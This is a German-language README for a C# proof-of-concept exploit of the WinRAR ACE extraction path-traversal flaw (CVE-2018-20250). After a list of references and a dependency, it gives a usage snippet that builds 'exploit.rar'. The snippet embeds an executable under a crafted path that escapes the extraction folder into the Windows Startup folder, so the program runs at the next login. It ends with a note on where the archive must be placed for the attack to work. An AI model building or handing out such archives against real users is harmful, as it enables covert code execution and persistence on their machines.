CVE-2018-20250-WinRAR-ACE

Proof-of-Concept-Code in C# zur Ausnutzung des WinRAR ACE-Datei-Extraktionspfads (CVE-2018-20250).

Ressourcen

https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/

Abhängigkeiten

InvertedTomato.Crc (kann mit NuGet installiert werden) für die Prüfsummenmethode. Sie können jede andere JAMCRC-Implementierung verwenden.

Verwendung

  AceVolume av = new AceVolume();
  AceFile f = new AceFile(
    @"D:\some_file.exe",
    @"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
  );
  av.AddFile(f);
  av.Save("exploit.rar");

Fehler

Scheinbar wird nur in den Autostart-Ordner extrahiert, wenn sich die .rar-Datei auf dem Desktop oder in einem Ordner auf derselben Ebene befindet.